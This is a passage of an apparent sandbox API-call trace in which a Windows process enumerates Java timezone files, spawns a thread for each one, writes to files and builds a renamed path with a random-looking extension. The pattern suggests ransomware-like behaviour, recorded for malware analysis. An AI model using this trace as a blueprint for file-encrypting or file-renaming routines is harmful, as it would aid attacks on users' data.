lpBuffer=0x42799e90*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x2b07f7b4, lpOverlapped=0x0 | out: lpBuffer=0x42799e90*, lpNumberOfBytesWritten=0x2b07f7b4*=0x1b, lpOverlapped=0x0) returned 1 [0162.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f50 [0162.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f80 [0162.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f80) returned 1 [0162.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42799e90) returned 1 [0162.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42796280) returned 1 [0162.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0162.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced19d0) returned 1 [0162.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d0c0 [0162.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced19d0 [0162.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0162.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f80 [0162.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f80) returned 1 [0162.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d0e0 [0162.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f80 [0162.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fb0 [0162.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fb0) returned 1 [0162.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0162.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced19d0) returned 1 [0162.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78e580 [0162.024] SetFilePointerEx (in: hFile=0x1364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.025] WriteFile (in: hFile=0x1364, lpBuffer=0x1b78e580*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b07f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b78e580*, lpNumberOfBytesWritten=0x2b07f8d0*=0xf8, lpOverlapped=0x0) returned 1 [0163.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9080 [0163.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9080) returned 1 [0163.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0163.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9080 [0163.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9050 [0163.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9050) returned 1 [0163.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d080 [0163.982] sprintf (in: _Dest=0x1b82d080, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.982] sprintf (in: _Dest=0x1b82d082, _Format="%c%c" | out: _Dest="bf") returned 2 [0163.982] sprintf (in: _Dest=0x1b82d084, _Format="%c%c" | out: _Dest="66") returned 2 [0163.982] sprintf (in: _Dest=0x1b82d086, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.982] sprintf (in: _Dest=0x1b82d088, _Format="%c%c" | out: _Dest="75") returned 2 [0163.982] sprintf (in: _Dest=0x1b82d08a, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.982] RtlInitAnsiString (in: DestinationString=0x2b07f948, SourceString="4dbf665c75cf" | out: DestinationString="4dbf665c75cf") [0163.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b07f918, SourceString="4dbf665c75cf", AllocateDestinationString=1 | out: DestinationString="4dbf665c75cf") returned 0x0 [0163.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd8f90 [0163.983] RtlFreeAnsiString (AnsiString="4") [0163.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0163.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9080) returned 1 [0163.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e580) returned 1 [0163.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0e0) returned 1 [0163.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f80) returned 1 [0163.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0c0) returned 1 [0163.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f50) returned 1 [0163.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9020) returned 1 [0163.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd90e0) returned 1 [0163.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9110) returned 1 [0163.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8583d0 [0163.986] wcscat (in: _Dest=0x1b8583d0, _Source="4db" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\4db") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\4db" [0163.986] wcscat (in: _Dest=0x1b8583d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\4db.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\4db.2f9b60" [0163.986] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\4db.2f9b60", NtPathName=0x2b07f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\4db.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c226c0 [0243.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c226c0) returned 1 [0243.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2dad0) returned 1 [0243.946] NtQueryInformationFile (in: FileHandle=0x1364, IoStatusBlock=0x2b07f958, FileInformation=0x2b07f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b07f958, FileInformation=0x2b07f968) returned 0x0 [0243.946] NtSetInformationFile (FileHandle=0x1364, IoStatusBlock=0x2b07f958, FileInformation=0x2b07f968, Length=0x28, FileInformationClass=0x4) Thread: id = 2463 os_tid = 0x1ef0 [0154.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9940 [0154.121] wcscpy (in: _Dest=0x1ced9940, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0154.121] wcscat (in: _Dest=0x1ced9940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0154.121] wcscat (in: _Dest=0x1ced9940, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*" [0154.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63da0 [0154.121] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d8b0 [0154.123] wcscmp (_String1=".", _String2=".") returned 0 [0154.123] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.123] wcscmp (_String1="..", _String2=".") returned 1 [0154.123] wcscmp (_String1="..", _String2="..") returned 0 [0154.123] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antananarivo", cAlternateFileName="ANTANA~1")) returned 1 [0154.123] wcscmp (_String1="Antananarivo", _String2=".") returned 1 [0154.123] wcscmp (_String1="Antananarivo", _String2="..") returned 1 [0154.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85df10 [0154.123] wcscpy (in: _Dest=0x1b85df10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0154.124] wcscat (in: _Dest=0x1b85df10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0154.124] wcscat (in: _Dest=0x1b85df10, _Source="Antananarivo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Antananarivo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Antananarivo" [0159.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85df10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b4 [0159.167] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chagos", cAlternateFileName="")) returned 1 [0159.167] wcscmp (_String1="Chagos", _String2=".") returned 1 [0159.167] wcscmp (_String1="Chagos", _String2="..") returned 1 [0159.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42308100 [0159.167] wcscpy (in: _Dest=0x42308100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.167] wcscat (in: _Dest=0x42308100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.167] wcscat (in: _Dest=0x42308100, _Source="Chagos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Chagos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Chagos" [0159.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x155c [0159.168] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Christmas", cAlternateFileName="CHRIST~1")) returned 1 [0159.168] wcscmp (_String1="Christmas", _String2=".") returned 1 [0159.168] wcscmp (_String1="Christmas", _String2="..") returned 1 [0159.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308180 [0159.168] wcscpy (in: _Dest=0x42308180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.168] wcscat (in: _Dest=0x42308180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.168] wcscat (in: _Dest=0x42308180, _Source="Christmas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas" [0159.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1624 [0159.169] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cocos", cAlternateFileName="")) returned 1 [0159.169] wcscmp (_String1="Cocos", _String2=".") returned 1 [0159.170] wcscmp (_String1="Cocos", _String2="..") returned 1 [0159.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42308200 [0159.170] wcscpy (in: _Dest=0x42308200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.170] wcscat (in: _Dest=0x42308200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.170] wcscat (in: _Dest=0x42308200, _Source="Cocos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Cocos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Cocos" [0159.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4 [0159.171] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comoro", cAlternateFileName="")) returned 1 [0159.171] wcscmp (_String1="Comoro", _String2=".") returned 1 [0159.171] wcscmp (_String1="Comoro", _String2="..") returned 1 [0159.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42308280 [0159.171] wcscpy (in: _Dest=0x42308280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.171] wcscat (in: _Dest=0x42308280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.171] wcscat (in: _Dest=0x42308280, _Source="Comoro" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Comoro") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Comoro" [0159.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb8 [0159.173] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kerguelen", cAlternateFileName="KERGUE~1")) returned 1 [0159.173] wcscmp (_String1="Kerguelen", _String2=".") returned 1 [0159.173] wcscmp (_String1="Kerguelen", _String2="..") returned 1 [0159.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308300 [0159.173] wcscpy (in: _Dest=0x42308300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.173] wcscat (in: _Dest=0x42308300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.173] wcscat (in: _Dest=0x42308300, _Source="Kerguelen" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Kerguelen") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Kerguelen" [0159.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d4 [0159.174] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mahe", cAlternateFileName="")) returned 1 [0159.175] wcscmp (_String1="Mahe", _String2=".") returned 1 [0159.175] wcscmp (_String1="Mahe", _String2="..") returned 1 [0159.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b8643e0 [0159.175] wcscpy (in: _Dest=0x1b8643e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.175] wcscat (in: _Dest=0x1b8643e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.175] wcscat (in: _Dest=0x1b8643e0, _Source="Mahe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mahe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mahe" [0159.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8643e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1570 [0159.176] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maldives", cAlternateFileName="")) returned 1 [0159.176] wcscmp (_String1="Maldives", _String2=".") returned 1 [0159.176] wcscmp (_String1="Maldives", _String2="..") returned 1 [0159.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308380 [0159.177] wcscpy (in: _Dest=0x42308380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.177] wcscat (in: _Dest=0x42308380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.177] wcscat (in: _Dest=0x42308380, _Source="Maldives" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Maldives") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Maldives" [0159.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0159.179] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mauritius", cAlternateFileName="MAURIT~1")) returned 1 [0159.179] wcscmp (_String1="Mauritius", _String2=".") returned 1 [0159.179] wcscmp (_String1="Mauritius", _String2="..") returned 1 [0159.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308400 [0159.179] wcscpy (in: _Dest=0x42308400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.179] wcscat (in: _Dest=0x42308400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.179] wcscat (in: _Dest=0x42308400, _Source="Mauritius" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mauritius") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mauritius" [0159.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1218 [0159.180] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mayotte", cAlternateFileName="")) returned 1 [0159.180] wcscmp (_String1="Mayotte", _String2=".") returned 1 [0159.180] wcscmp (_String1="Mayotte", _String2="..") returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42308480 [0159.180] wcscpy (in: _Dest=0x42308480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.180] wcscat (in: _Dest=0x42308480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.180] wcscat (in: _Dest=0x42308480, _Source="Mayotte" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte" [0159.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0159.182] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, 